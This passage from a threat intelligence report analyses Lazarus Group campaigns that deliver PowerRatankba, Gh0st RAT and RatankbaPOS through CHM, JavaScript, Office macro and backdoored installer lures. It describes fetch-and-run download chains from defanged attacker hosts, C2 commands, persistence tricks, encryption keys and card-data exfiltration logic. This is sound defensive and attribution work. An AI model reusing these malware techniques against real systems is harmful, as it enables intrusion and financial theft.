Unfortunately we have been unable to determine how these infection attempts were delivered to victims ITW.
The themes of the malicious CHMs include: A confusing, poorly written request for assistance with creating a website with possible romantic undertones (Fig.
8-1) Documentation on a blockchain technology called ALCHAIN from Orient Exchange Co. (Fig.
8-2) A request for assistance in developing an initial coin offering (ICO) platform (Fig.
8-3) White paper on the Falcon Coin ICO (Fig.
8-4) A request for applications to develop a cryptocurrency exchange platform (Fig.
8-5) A request for assistance in creating an email marketing tool (Fig.
8-6) Figure 8: CHM lures utilized in attempts to deliver PowerRatankba All of the CHM files use a well-known technique to create a shortcut object capable of executing malicious code and then causing that shortcut object to be automatically clicked via the x.Click() function.
Two different methods were used across the CHMs to retrieve the malicious payload.
The first method uses a VBScript Execute command and BITSAdmin tool to download a malicious VBScript file (Fig.
9).
The payload is downloaded (Fig.
10) from hxxp://www.businesshop[.
]net/hide.gif and saved to C:\windows\temp\ PowerOpt.vbs.
Once the downloaded VBScript (Fig.
10) is executed, it will attempt to download PowerRatankba from hxxp://158.69.57[.
]135/theme.gif, saving the expected PowerShell script to C:\Users\Public\Pictures\opt.ps1.
https://en.wikipedia.org/wiki/Initial_coin_offering https://github.com/samratashok/nishang/blob/master/Client/Out-CHM.ps1 North Korea Bitten by Bitcoin Bug  10 Figure 9: Malicious code embedded in CHM to download a VBScript PowerRatankba downloader Figure 10: BITSAdmin retrieving malicious payload over HTTP North Korea Bitten by Bitcoin Bug  11 Figure 10: BITSAdmin retrieving malicious payload over HTTP The second method downloads a similar VBScript-based PowerRatankba downloader using PowerShell directly in the CHM (Fig.
11).
A similar VBScript Execute command is utilized to call PowerShells DownloadString to execute the payload directly from hxxp://92.222.106[.
]229/theme.gif Figure 11: PowerShell utilized in CHM to retrieve PowerRatankba downloader VBS The 5_6283065828631904327.chm (030b4525558f2c411f972d91b144870b388380b59372e1798926cc2958242863) contains notable pieces of unused code as well as code pointing to an RFC1918 private IP address in the decompressed doc.htm file (Fig.
12).
The first excerpt of unused code consists of a more traditional PowerShell command that downloads a script from hxxp://192.168.102[.
]21/power.ps1.
The next block of code adds an obfuscation technique (also present in other related CHMs) where the quotes are replaced with the  character.
This obfuscated code downloads a PowerShell payload from the same RFC1918 address but from a different URI: hxxp://192.168.102[.
]21/pso.ps1.
We assess that this is likely a remnant of the author developing the malicious CHM method using their local environment rather than using code stolen from an unrelated CHM, tool, or other malicious payload.
Additionally, another piece of commented code follows which executes a VBScript file C:\Users\dolphinePC\Downloads\run_32.vbs.
This may offer another clue to the developers environment that has a possible username of dolphinePC.
Finally, a PowerRatankba.
B implant was embedded in the same CHM as aa.ps1 and configured with CC servers of 92.222.106[.
]229 and 158.69.57[.
]135.
Figure 12: Leftover code in 5_6283065828631904327.chm As a final note on the CHM campaigns, the following three samples contain an email address of either robert_mobile gmail[.
]com or robert_mobilemail[.
]com, which we assess with some confidence are related to the threat actor: 772b9b873100375c9696d87724f8efa2c8c1484853d40b52c6dc6f7759f5db01 6cb1e9850dd853880bbaf68ea23243bac9c430df576fa1e679d7f26d56785984 9d10911a7bbf26f58b5e39342540761885422b878617f864bfdb16195b7cd0f5 JavaScript Downloaders Throughout November several compressed ZIP files containing a JavaScript (JS) downloader were observed being hosted on likely attacker-controlled servers.
We are not currently aware if or how these files were delivered to potential victims.
The naming of the files and the decoy PDF documents they retrieve provide some clues about the nature of the lures.
Themes include the cryptocurrency exchanges Coinbase and Bithumb, the Falcon Coin ICO, and a list of Bitcoin transactions.
Each JavaScript downloader is obfuscated (Fig.
13) using JavaScript Obfuscator (see Attribution section for additional analysis) or a similar tool.
After de-obfuscating (Fig.
14), the logic of the malicious downloader is very straightforward.
First, an obfuscated PowerRatankba.
B PowerShell script is downloaded from a fake image URL such as: hxxp://51.255.219[.
]82/ theme.gif.
Next, the PowerShell script is saved to C:\Users\Public\Pictures\opt.ps1 and then executed.
https://www.coinbase.com/?localeen https://www.bithumb.com/ https://falconcoin.co/home https://javascriptobfuscator.com/Javascript-Obfuscator.aspx North Korea Bitten by Bitcoin Bug  12 Figure 13: Obfuscated falconcoin.js Figure 14: Deobfuscated falconcoin.js revealing PowerRatankba and decoy PDF URLs The last step in execution is to retrieve the decoy PDF from hxxp://51.255.219[.
]82/files/download/falconcoin.pdf and open it using rundll32.exe and shell32.dll,OpenAs_RunDLL (Fig.
15-1).
Samples using Coinbase and Bithumb themes also downloaded PDF decoys (Fig.
15-2,15-3).
Additionally we discovered that the content from the Coinbase decoy has been used in Lazarus group-attributed espionage campaigns (see Attribution for more details).
North Korea Bitten by Bitcoin Bug  13 Figure 15: Decoys downloaded or sent along with PowerRatankba JavaScript downloaders VBScript Macro Microsoft Office Documents Two VBScript macro-laden Microsoft Office documents have been observed associated with this activity: one Word document and one Excel spreadsheet.
The Word document (b3235a703026b2077ccfa20b3dabd82d65c6b5645f7f1 5e7bbad1ce8173c7960) uses an Internal Revenue Service (IRS) theme and was sent as an attachment named report phishing.doc.
The spearphishing email was sent from an mail.com address with the subject of Phishing Warnning[sic].
Ironically, the sender email address was spoofed as phishingirs.gov (Fig.
16) while the content of the lure (Fig.
17) was likely copied from an official IRS webpage.
Figure 16: Spearphishing email spoofed sender and subject Figure 17: IRS themed Word document PowerRatankba downloader The IRS-themed malicious document uses a macro to download a PowerRatankba VBScript from hxxp://198.100.157[.
]239/hide.gif (Fig.
18), save it to C:\ Users\Public\Pictures\opt.vbs, and execute it with wscript.
exe.
It in turn downloads the PowerRatankba.
B from hxxp://198.100.157[.
]239/theme.gif, saving the downloaded payload to C:\Users\Public\Pictures\opt.ps1, and finally executing it with powershell.exe.
https://www.irs.gov/privacy-disclosure/report-phishing North Korea Bitten by Bitcoin Bug  14 Figure 18: IRS-themed malicious document macro The second malicious Office document we discovered is an Excel spreadsheet named bithumb.xls.
It uses a Bithumb lure (Fig.
19) and includes stolen branding.
The spreadsheet was found compressed in a ZIP file named Bithumb.zip along with a decoy PDF document named About Bithumb.pdf (Fig.
20).
Figure 19: Malicious Bithumb Excel spreadsheet with English option shown, with stolen branding Figure 20: About Bithumb.pdf decoy document inside Bithumb.zip archive, with stolen branding The Excel spreadsheet contains a macro with an embedded Base64-encoded PowerRatankba VBScript downloader (rather than retrieving it from a CC using HTTP (Fig.
21)).
The embedded VBScript is first dropped to disk at c:\Users\ Public\Documents\Proxy.vbs and then executed using wscript.exe.
The dropped VBScript file is configured to download PowerRatankba from hxxp://www.energydonate[.
]com/images/character.gif while saving the downloaded payload to C:\ Users\Public\Documents\ProxyAutoUpdate.ps1.
https://www.irs.gov/privacy-disclosure/report-phishing North Korea Bitten by Bitcoin Bug  15 Figure 21: Base64 encoded PowerRatankba downloader embedded in bithumb.xls Backdoored PyInstaller Applications Most recently, several large email phishing campaigns attempted to trick unsuspecting victims into visiting fake webpages to download or update cryptocurrency applications.
The copycat websites were mirror images of legitimate websites with software download links pointing to the correct installers hosted on the legitimate websites.
The only exception was the link to download the Windows version of the application, which was hosted  on the copycat websites.
These PyInstaller executables were backdoored with a few lines of Python code added to download the PowerRatankba implant.
The first campaign that utilized this technique used a Bitcoin Gold (BTG) theme to trick the targets into visiting an internationalized domain name (IDN) website (Fig.
22).
An email was sent to targets offering a BTG wallet application along with a link to the malicious website: hxxps://xn--bitcoingld-lcb[.]org/.
However, web browsers and email clients would display the link as follows: hxxps://bitcoingld[.]org/.
Emails in this BTG campaign were sent between approximately November 10-16, 2017.
Some of the known sender emails include but are not limited to: infoxn--bitcoingod-8yb[.
]com, infoxn--bitcoigold-o1b[.
]com, and techxn--bitcoingld-lcb[.
]org.
Campaigns using IDN can be difficult to recognize as malicious because they are typically very similar to the mimicked legitimate domains except for a single character (Fig.
23).
(
see IOC section for more likely related IDNs) Figure 22: Sample email containing a URL to malicious IDN hosting PyInstaller PowerRatankba downloader.
The http://www.pyinstaller.org/ https://en.wikipedia.org/wiki/Internationalized_domain_name North Korea Bitten by Bitcoin Bug  16 IDN email address is emphasized in a red box.
Figure 23: Excerpt from phishing email showing the IDN link with red arrow pointing to internationalized character Many thanks to Yonathan Klijnsma (ydklijnsma) of RiskIQ, whose assistance allowed us to analyze a historical scrape of one of the web pages hosting the malware at xn--bitcoingld- lcb[.
]org.
In the scrape, an additional text and a button were inserted in place of the BTG logo.
The button used JavaScript  to download a payload from hxxps://bitcoingld[.
]org/bitcoingold.
exe (IDN: xn--bitcoingld-lcb[.
]org) (Fig.
24).
Additional differences are likely the result of changes to the legitimate website (Fig.
25) since the malicious campaign.
Figure 24: Malicious BTG website hosting PowerRatankba downloader.
Credit: RiskIQ Figure 25: Legitimate BTG website showing difference between legitimate and malicious websites (note: this screenshot was not taken on the same day as the screenshot of the malicious website) https://twitter.com/ydklijnsma North Korea Bitten by Bitcoin Bug  17 Once clicked, the button on the malicious BTG page would have directed a victim to download a payload from hxxps://bitcoingld[.
]org/bitcoingold.exe.
At the time of our analysis, this URL was not returning content.
However, we discovered from a comment on a multiple anti-virus scanning service that someone targeted by this campaign had uploaded a payload downloaded from the fake website.
The file in that case was named ElectronGold-1.1.1.exe (eab612e333baaec0709f3f213f73388607e495d8af9a2851f352481e996283f1).
We also found a similar payload with unknown origin named ElectronGold-1.1.exe (b530de08530d1ba19a94bc075e74e2236c106466dedc92be3abdee9908e8cf7e).
The second campaign we discovered used a fake Electrum update as the lure to similarly direct victims to a malicious IDN resembling the legitimate electrum.org website (Fig.
26).
The emails in this case were sent, based on our visibility, using a unique mail.com email address for each recipient, and at least some of the emails were sent between November 18-21, 2017.
A subject of New Electrum Wallet Released was used to trick victims into thinking that they needed to download an update for Electrum to be able to use Segwit2X and Bitcoin Gold.
If a victim clicked on the malicious link, they were presented with what appeared to be a normal version of Electrums official website (Fig.
27).
Figure 26: Phishing email with fake Electrum wallet application update announcement Figure 27: A fake website with links to backdoored installation packages highlighted in red boxes and internationalized character noted by red arrow Each of the links highlighted in red led to a malicious payload hosted directly on the same server: hxxps://xn--electrm- s2a[.
]org/electrum-3.0.3.exe (Fig.
28).
The electrum-3.0.3.exe is a backdoored PyInstaller that is configured to download a VBScript PowerRatankba downloader.
https://electrum.org/home North Korea Bitten by Bitcoin Bug  18 Figure 28: HTML code from malicious Electrum webpage In both campaigns, the same malicious Python  code was injected into the PyInstallers, specifically into \gui\qt\installwizard.
py.
The backdoor code in each campaign is nearly identical except for the target URL and the file name to which the downloaded VBScript is saved (Fig.
29).
Figure 29: Side-by-side comparison of backdoored installwizard.py scripts.
Left: BTG, Right: Electrum The BTG campaign was configured to download a VBScript from hxxp://www.btc-gold[.
]us/images/top_bar.gif while saving the downloaded script to C:\Users\Public\Documents\diff.vbs.
We were unable to retrieve this file but suspect a PowerRatankba variant would have been downloaded based on other campaigns.
The Electrum campaign was similarly configured to download a VBScript however, in this case we were able to analyze the downloaded payload.
The backdoored installwizard.py downloaded a script from hxxp://trade.publicvm[.
]com/images/top_ bar.gif (see Attribution section for more commentary) while saving the downloaded script to C:\Users\Public\Documents\ Electrum_backup.vbs.
The downloaded Electrum_backup.vbs was a PowerRatankba downloader with a target URL of hxxp://trade.publicvm[.
]com/images/character.gif, which ultimately delivered a PowerRatankba implant with a CC of trade.
publicvm[.
]com.
Implant Description and Analysis Three key implants were used at various points in these campaigns.
The implants -- PowerRatankba, Gh0st RAT, and RatankbaPOS -- and specific variations are described in detail below.
PowerRatankba Description PowerRatankba is used for the same purpose as Ratankba: as a first stage reconnaissance tool and for the deployment of further stage implants on targets that are deemed interesting by the actor.
Similar to its predecessor, PowerRatankba utilizes HTTP for its CC communication.
Once executed, PowerRatankba first sends detailed information about the infected device to its CC server via the BaseInfo HTTP POST (Fig.
30), including the computer name, IP address(es), OS boot time and installation date, language, if ports 139, 3389, and/or 445 are open/closed/filtered, a process list, and (PowerRatankba.
B only) output from two WMIC commands (Fig.
31).
North Korea Bitten by Bitcoin Bug  19 Figure 30: Initial HTTP POST containing infected device information to PowerRatankba.
A CC Figure 31: WMIC command output sent via same initial HTTP POST There are only slight variations between the initial BaseInfo HTTP POST, such as the process list is retrieved by PowerRatankba.
A using tasklist /svc while PowerRatankba.
B uses just tasklist.
PowerRatankba.
A CC Description After the initial CC check-in, PowerRatankba.
A issues What HTTP GET requests (Fig.
32) to retrieve commands from the CC server.
All PowerRatankba.
A HTTP requests contain a randomly generated numeric UID passed in the u HTTP URI parameter.
Figure 32: PowerRatankba.
A What HTTP GET Request This variant receives commands and sends responses in plaintext.
This variant only has four commands (Table 1) including a sleep, exit, and two different execute code functions.
North Korea Bitten by Bitcoin Bug  20 Table 1: PowerRatankba.
A CC commands Command Description success Sleep and send request after sleep killkill Exit Execute Download payload from provided URL and execute via memory injection DownExec Download payload from provided URL, save to disk, then execute PowerRatankba.
B CC Description Similar to its predecessor, PowerRatankba.
B issues What HTTP requests to its CC server after the initial check-in.
Instead of a numeric UID, this variant uses the infected devices double-Base64-encoded MAC address (Fig.
33).
Figure 33: PowerRatankba.
B What HTTP GET Request Commands from the CC are still expected as plaintext but command parameters for all commands except interval are encrypted with DES using Casillas as both the key and initialization vector (IV) and then Base64-encoded.
The response of the cmd command is the only data that is sent DES encrypted to the CC whilst all other network traffic sent from the infected device to the CC is either plaintext or Base64-encoded.
Several new commands were added to this variant (Table 2) while Execute and DownExec were replaced.
The command exe was eventually changed to inj while functionality remained the same.
Additionally, some earlier variants did not contain all of the commands listed below but the overall capabilities of the backdoor remained largely the same, therefore for the purpose of this research all variants with DES encryption are considered variant PowerRatankba.
B.
Table 2: PowerRatankba.
B CC commands Command Description success Sleep and send request after sleep killkill Exit interval Change default sleep length cmd Execute command using cmd.exe /c cmdInst .
Command response is sent back to the CC DES encrypted and Base64 encoded cf_sv Replace SCH, VBS, PS1 files with provided server location and pre-determined URI (e.g., rrr Download payload from provided URL, write to C:\Users\Public\Documents\000.exe, and then execute payload.
exe or inj Download payload from provided URL, inject into process memory using Invoke- ReflectivePEInjection PowerRatankba Persistence For persistence, PowerRatankba.
A saves a JS file to the victims Startup folder as appView.js that will be executed every time the victims user account logs in.
The persistence JS (Fig.
34) contains a XOR encoded PowerShell script to retrieve a Base64 encoded PowerShell from a hardcoded URL (e.g., hxxp://macintosh.linkpc[.
]net:8080/mainls.cs ).
The encoded PowerShell script used a XOR key of ZWZBGMINRQLUSVTGHWVYANJHTVUHTLTUGKOHIYOXQEFEIPHNGACNKMBWGRTJIHRANIIZJNNZHVF.
https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-ReflectivePEInjection.ps1 https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-ReflectivePEInjection.ps1 North Korea Bitten by Bitcoin Bug  21 Figure 34: appView.js persistence JS PowerRatankba.
B is capable of using two different persistence methods while only one will be used based on whether or not the executing user has Administrator privileges.
PowerRatankba first checks if the account has administrator privileges by executing the following command: whoami /groups  findstr /c:S-1-5-32-544  findstr /c:Enabled group goto:isadministrator.
If the user account does have administrator privileges then PowerRatankba will download a PowerShell script from a hardcoded location (e.g., BaseServer  images/character.gif), save it to a hardcoded location (e.g., C:/Windows/System32/WindowsPowerShell/v1.0/Examples/detail.ps1), and finally create a scheduled task to execute the downloaded PowerShell script on system startup.
If the user account does not have administrator privileges then a VBScript file is downloaded from a hardcoded location (e.g., BaseServer  images/top_bar.gif) and saved to the executing users Startup folder as, for example, PwdOpt.vbs or ProxyServer.vbs.
PowerRatankba.
B Stage2 - Gh0st RAT A Gh0st remote access Trojan/tool (RAT) was delivered via PowerRatankba.
B to several devices running common cryptocurrency-related applications.
The Gh0st RAT samples were delivered via the memory injection exe/inj command (Fig.
35).
After decrypting the command with DES the target URL was revealed to be hxxp://180.235.133[.
]235/img.gif (Fig.
36).
Figure 35: Exe command delivered from PowerRatankba.
B CC to infected device Figure 36 (left): PowerRatankba.
B retrieving Base64-encoded Gh0st dropper The fake image was actually a Base64-encoded custom encryptor with the embedded, encrypted Gh0st RAT as the final payload.
The encryptor utilized AES in CBC-mode with the NIST Special Publication 800-38A example key of 2B7E151628AED2A6ABF7158809CF4F3C and IV of 000102030405060708090A0B0C0D0E0F (Fig.
37).
http://download01.norman.no/documents/ThemanyfacesofGh0stRat.pdf http://cryptome.info/0001/bcm/sp800-38a.htm http://cryptome.info/0001/bcm/sp800-38a.htm North Korea Bitten by Bitcoin Bug  22 Figure 37: AES key and IV in custom encryptor downloaded by PowerRatankba.
B The decrypted Gh0st implant is a custom variant with magic bytes of RFC18 (Fig.
38).
This variant was likely based on version 3.4.0.0 of Gh0st/PCRat, however we consider it likely that the author(s) have given their implants an internal version of 1.0.0.1 as can be observed in the decompressed initial check-in to the CC (as well as hardcoded in the binaries) (Fig.
39).
Figure 38: Magic RFC18 value in unpacked Gh0st RAT sample Figure 39: Version 1.0.0.1 RFC18 Gh0st RAT Much of the 3.4.0.0 code remains the same, including the usage of Zlib compression and the infamous \x78\x9c default Zlib compression header bytes (Fig.
40) observed in countless Gh0st RAT samples over the years.
Figure 40: Initial Gh0st check-in depicting RFC18 magic bytes and Zlib header http://download01.norman.no/documents/ThemanyfacesofGh0stRat.pdf North Korea Bitten by Bitcoin Bug  23 Gh0st RAT Purpose During our research we discovered that long-term sandboxing detonations of PowerRatankba not running cryptocurrency- related applications were never infected with a Stage2 implant.
This may indicate that the PowerRatankba operator(s) were only interested in infecting device owners with an obvious interest in various cryptocurrencies.
In one case, a RFC18 Gh0st RAT was delivered to a PowerRatankba.
B infected device within twenty minutes of the initial infection.
From analyzing CC traffic logs we assess that a Lazarus operator almost immediately viewed the screen of the infected device and then proceeded to take over full remote control, giving them the ability to interact with applications on the infected device, including a password-protected Bitcoin wallet application.
Shopping Spree: Enter RatankbaPOS Beyond stealing millions of US dollars worth of cryptocurrency, we have discovered a Lazarus operation to steal point- of-sale (POS) data primarily targeting POS terminals of businesses operating in South Korea.
Considering the time of year, most retail businesses around the world report their highest volume of sales between November and December so naturally POS is a popular target for criminals.
Enter RatankbaPOS, possibly the first publicly documented nation-state sponsored campaign to steal POS data from a POS-related framework.1 At this time we have been unable to determine how RatankbaPOS is being delivered however, based on its sharing of CC with PowerRatankba implants we hypothesize that Lazarus operators infiltrated at least one organizations networks utilizing PowerRatankba to deploy later stage implants (including the possibility of RFC18 Gh0ST RAT) to ultimately deploy RatankbaPOS.
Based on the fact that the file was hosted on the CC in plaintext, and not Base64 encoded, we assess that RatankbaPOS was more likely deployed with a later stage implant other than PowerRatankba.
RatankbaPOS Analysis RatankbaPOS is deployed through a process injection dropper that is also capable of installing itself persistently, checking a CC for either an update or a command to delete itself, dropping the RatankbaPOS implant to disk, and finally searching for the targeted POS process and module for injection and ultimately the theft of POS data.
The dropper first sets up persistence by creating a registry key in HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\ CurrentVersion\Run\igfxgpttray.
It uses its own module file name for the registry key value.
Next, it makes an HTTP request to a hardcoded URL hxxp://www[.]webkingston[.
]com/update.jsp?actionneed_update using a hardcoded User-Agent (UA) of Nimo Software HTTP Retriever 1.0 (Fig.
41) to request either instruction from the CC to delete itself and remove the persistence registry key or to download an updated implant with which to replace itself.
If no response is returned from the CC, RatankbaPOS will begin the process injection search.
Figure 41: RatankbaPOS dropper requesting and receiving update from CC 1  We acknowledge the excellent work from ashley_shen_920, 051R15, and kjkwak12 with their documentation of North Korean-related attacks on VANXATM which was targeting ATM devices and not directly POS.
http://www.bbc.com/news/world-asia-42378638 https://twitter.com/ashley_shen_920 https://twitter.com/051R15 https://twitter.com/kjkwak12 https://www.blackhat.com/docs/eu-17/materials/eu-17-Shen-Nation-State Moneymules-Hunting-Season-APT-Attacks-Targeting-Financial-Institutions.pdf North Korea Bitten by Bitcoin Bug  24 The process injection search begins by taking a snapshot of the process list using CreateToolhelp32Snapshot.
The implant dropper/injector will then case-insensitive search for a process named xplatform.exe which we assess is likely associated with Tobesofts XPLATFORM UI/UX design software.
If a process name match is found then a TH32CS_SNAPMODULE CreateToolhelp32Snapshot call is used to make a snapshot of xplatform.exes running module list.
Loaded modules are then iterated using Module32First and Module32Next while converting each result to lowercase by adding 0x20 to any uppercase letters and then finally comparing the string to ksnetadsl.dll (Fig.
42) that we assess is associated with a KSNET POS framework .
Finally, the filesize of ksnetadsl.dll is checked to make sure it is 98,304 bytes (Fig.
42).
If a successful match is found then the process ID (PID) of xplatform.exe is returned.
Lastly, RatankbaPOS will be written to disk as c:\windows\temp\hkp.dll and the PID of xplatform.exe process will be used to inject hkp.dll into xplatform.exe using LoadLibraryA and CreateRemoteThread (Fig.
43).
Figure 42: Dropper/injector searching for ksnetadsl.dll and correct filesize http://www.nexacro.com/product/Xplatform.do https://www.crunchbase.com/organization/ksnet North Korea Bitten by Bitcoin Bug  25 Figure 43: Injecting RatankbaPOS into xplatform.exe RatankbaPOS will first hook the KSNETADSL.dll module at offset 0xB146 (Fig.
44).
Interestingly there is code for RatankbaPOS to check KSNETADSL.dll for an exported function named 1000B146, which seems like an unusual export name for which to check, but this code will never be used because strcmp(1000B146, 1000B146) will always be true.
We hypothesize that this feature was included either by mistake or was previously used for debugging.
RatankbaPOS will also log messages to a file stored in c:\windows\temp\log.tmp.
Figure 44: RatankbaPOS setting KSNETADSL.dll injection offset At this point in the reverse engineering process, we would naturally begin reversing the KSNETADSL.
dll module however, we have only been able to find two such modules with a filesize of 98,304 bytes: f2f6b4770718eed349fb7c77429938ac1deae7dd6bcc141ee6f5af9f4501a695 6c8c801bb71b2cd90a2c1595092358e46cbfe63e62ef6994345d6969993ea2d6 North Korea Bitten by Bitcoin Bug  26 After analyzing both KSNETADSL.dll modules, our preliminary assessment is that neither of the modules are the correct target for RatankbaPOS.
We can at least gain some insight into the purpose of KSNETADSL.dll, which appears to be the handling of encrypted and decrypted credit card numbers for a KSNET-related POS framework system (Fig.
45).
Further analysis of RatankbaPOS focusing on the code used for CC revealed the likely purpose of this implant Figure 45: Screenshot showing KSNET module interaction with CARD_NO registry key Only one HTTP POST request is programmed in RatankbaPOS for the communication to a CC that is called via CreateThread in the hook handler (DoC2, Fig.
46).
Figure 46: Hook handler creating new thread for CC then hooking KSNETADSL.dll Our analysis of the CC communication revealed a number of clues as to what was being exfiltrated.
Initially, the implant uses strchr to find the first occurrence of  in the string data that is received from the hook of KSNETADSL.dll.
Next, 37-bytes beginning at 16-bytes before the position of the  are copied to a buffer.
Finally, that buffer is compared to a substitution buffer that was created at the beginning of RatankbaPOS execution (Fig.
47).
The substitution algorithm uses the values starting at offset 0x30-0x39 in the E-filled buffer to substitute the ASCII values of 0-9 for ZCKOADBLNX as well as at offset 0x3D for substitution of ASCII  to Y.
Therefore, values 0-9 will be obfuscated to ZCKOADBLNX while  will be obfuscated to Y (Fig.
48).
Figure 47: Obfuscation substitution buffer created in RatankbaPOS North Korea Bitten by Bitcoin Bug  27 Figure 48: Obfuscation substitution buffer in memory To obfuscate the data, RatankbaPOS simply uses the hex value of the cleartext ASCII string to substitute itself for a value in the substitution buffer.
For instance, a value of 0 would be substituted to Z while any equals signs () will be substituted for Y.
This method is used to likely obfuscate the data so it is harder to detect by simply glancing at network traffic or through the use of heuristic-based detection of plaintext credit card data transmitted over the network.
Once the stolen data has been obfuscated, it is sent in a POST HTTP request to the URL /list.jsp?actionup using the same hardcoded UA as the injector: Nimo Software HTTP Retriever 1.0 (Fig.
49).
So far we have observed the following CC domains: www.energydonate[.
]com and online-help.serveftp[.
]com.
Figure 49: DoC2 function that obfuscates stolen data and exfiltrates to a CC North Korea Bitten by Bitcoin Bug  28 Based on documentation we have found online, RatankbaPOS is possibly targeting plaintext track data in the first 16 bytes followed by a  and finally followed by encrypted POS-related data beginning with 99 (Fig.
50).
According to the document, this is an encrypted form of the track data.
Based on this, there is the possibility that this campaign may be targeting a SoftCamp POS-related software application, framework, or device.
If we are correct and the values 99 always follow the  sign then one could potentially find exfiltrated data in network traffic by searching for the string YXX starting at offset 16 in the client body of an HTTP POST request.
However, more logic will likely be necessary to reduce false positives but this opens up several options for detection.
Figure 50: Documentation on South Korean POS software depicting POS data that matches the pattern RatankbaPOS is searching for (markings not ours) RatankbaPOS Targeted Region Based on the fact that RatankbaPOS is targeting a South Korean software vendors POS framework, including clues that the length of exfiltrated data matches related POS data (document here, and another document here), we assess with high confidence that this threat is primarily targeting devices in South Korea.
Attribution to Lazarus Group Attribution is a controversial topic and arguably one of the most difficult tasks threat intelligence analysts face.
However, based on our research, we assess with a high level of confidence given the information available to us that the operations and activity discussed in this research are attributed to Lazarus Group and ultimately North Korea.
In consideration of the controversial and difficult task at hand, we are providing an above and beyond summary of just some of the key pieces and overlaps to validate our assessment.
Key reasons, discussed in detail below, are Encryption, Obfuscation, Functionality, Code Overlap, Decoys, and CC.
Encryption In October 2016 Lazarus Group pulled off a major operation that allegedly compromised at least 20 banks in Poland as well as banks in other countries around the world.
The attacks have been well documented by BAE, Kaspersky, ESET, TrendMicro, and Symantec.
The attribution of this attack to Lazarus (aka, Bluenoroff) and ultimately North Korea is widely accepted across the industry.
What has not been documented publicly, to our knowledge, are the specifics behind the implementation of the Spritz encryption cipher utilized in some of the implants surrounding the banking incidents in late 2016 and early 2017.
Spritz is self-described as a spongy RC4-like stream cipher that was designed by Ronald Rivest and Jacob Schuldt.
Multiple implementations of Spritz exist on Github in languages like C and Python.
Anyone researching Lazarus Groups version of Spritz will quickly find out that neither of the previously mentioned implementations will successfully decrypt hidden payloads in either banking related implants nor PowerSpritzs legitimate installer payload and malicious PowerShell commands.
The issue, or possibly feature, in Lazarus Groups implementation of Spritz can be found buried in a single paragraph on page five of the original Spritz publication (Fig.
51).
It states that addition and subtraction may be substituted for exclusive- or (XOR) and is referred to Spritz-xor.
http://www.wisepos.net/common/down.jsp?clipssoftcamp_setup_guide_20101123.doc http://www.wisepos.net/common/down.jsp?clipssoftcamp_setup_guide_20101123.doc http://www.dreampos.com/up_data/gesi_board/pds/EB939CEBA6BCED8FACEC8AA4_EBB3B4EC9588EBAAA8EB9388EC84A4ECB998EAB080EC9DB4EB939C_v2.5-1.doc https://badcyber.com/several-polish-banks-hacked-information-stolen-by-unknown-attackers/ https://baesystemsai.blogspot.com/2017/02/lazarus-watering-hole-attacks.html https://securelist.com/files/2017/04/Lazarus_Under_The_Hood_PDF_final.pdf https://www.welivesecurity.com/2017/02/16/demystifying-targeted-malware-used-polish-banks/ https://blog.trendmicro.com/trendlabs-security-intelligence/ratankba-watering-holes-against-enterprises/ https://www.symantec.com/connect/blogs/attackers-target-dozens-global-banks-new-malware-0 https://www.nytimes.com/2017/03/25/technology/north-korea-hackers-global-banks.html https://edition.cnn.com/2017/04/03/world/north-korea-hackers-banks/index.html https://www.schneier.com/blog/archives/2014/10/spritz_a_new_rc.html https://people.csail.mit.edu/rivest/pubs/RS14.pdf https://github.com/edwardcunningham/spritz https://people.csail.mit.edu/rivest/pubs/RS14.pdf North Korea Bitten by Bitcoin Bug  29 Figure 51: Excerpt from Spritz publication Examining Lazarus Groups implementation of Spritz in one of the original implants utilized to compromise banks in late 2016 and 2017 via watering hole attacks, it quickly becomes apparent that they have actually implemented Spritz-xor instead of the normal Spritz algorithm (Fig.
52).
Figure 52: Spritz-xor decrypt implementation in Lazarus Groups implant from compromised banks PowerSpritz utilizes the same exact Spritz-xor implementation as the older Lazarus Group-attributed implant (Fig.
53).
We assess that due to how rare Spritz usage is ITW, in addition to the implemented deviation from the standard, that it is unlikely a different threat actor is also using this specific implementation.
Figure 53: Spritz-xor decrypt implementation in PowerSpritz North Korea Bitten by Bitcoin Bug  30 Obfuscation Earlier this year several watering hole attacks targeting South Korea utilized an ActiveX 0day exploit in M2Soft to deliver Lazarus-connected FBI-RAT and Charon implants.
Some of the techniques observed in these attacks overlap with the JS downloader and CHM PowerRatankba campaigns.
One such overlap was through the usage of a well-known JS obfuscation technique in both the M2Soft exploit and PowerRatankba JS downloader campaigns.
The method is a public and widely used technique of masking strings using their hexadecimal values and placing them in an array assigned to a variable with a naming structure of _0x[a-f0-9]4 (Fig.
54).
Figure 54: ActiveX M2Soft exploit utilizing JS obfuscation also observed in a PowerRatankba campaign Functionality Several features in the original Ratankba implants are similar or identical when compared to PowerRatankba and RatankbaPOS.
Furthermore, the usage of a common directory c:\windows\temp\ for the storage of implants and logs are seen across a wide array of Lazarus Groups toolset.
A brief overview of similar features is shown in below (Table 3) while a detailed description of each overlap may be found below.
Table 3: Feature comparison table Feature Ratankba PowerRatankba RatankbaPOS M2Soft Exploit FEIB Spreader JSP CC similarities X X X Commands: success,killkill X X Sleep 15 minutes loop X X c:\windows\temp\ X X X X First consider the CC protocols utilized in all Ratankba, PowerRatankba, and RatankbaPOS.
Ratankbas initial POST to CC to divulge compromised system information uses the same BaseInfo parameter as PowerRatankba.
Additionally, a Ratankba sample (bd7332bfbb6fe50a501988c3834a160cf2ad948091d83ef4de31758b27b2fb7f) utilizes a CC of list.jsp while RatankbaPOS utilizes an identical URIfile name for allegedly exfiltrating credit card information to a CC.
Second, Ratankbas supported commands include success and killkill that function identically to the respective PowerRatankba commands.
Furthermore, a sleep loop of 900 seconds (15 minutes) is utilized in both Ratankba and RatankbaPOS dropper (Fig.
56,56).
Figure 55: Ratankba command loop sleep North Korea Bitten by Bitcoin Bug  31 Figure 56: RatankbaPOS dropper target process search loop Lastly, while further analyzing the M2Soft exploit discussed in the Obfuscation section, a familiar destination directory of C:\windows\temp\ was spotted in the deobfuscated JS (Fig.
57,58).
This destination directory was also used during the PowerRatankba CHM campaign, by RatankbaPOS for log and implant storage, and by the FEIB spreader.
Figure 57: Deobfuscated M2Soft exploit used to deliver Lazarus FBI-RAT implant Figure 58: Deobfuscated M2Soft exploit used to deliver Lazarus Charon implant Code Overlap On or before October 3rd, 2017, the Far Eastern International Bank (FEIB) in Taiwan was hacked by Lazarus Group to steal money via the SWIFT system.
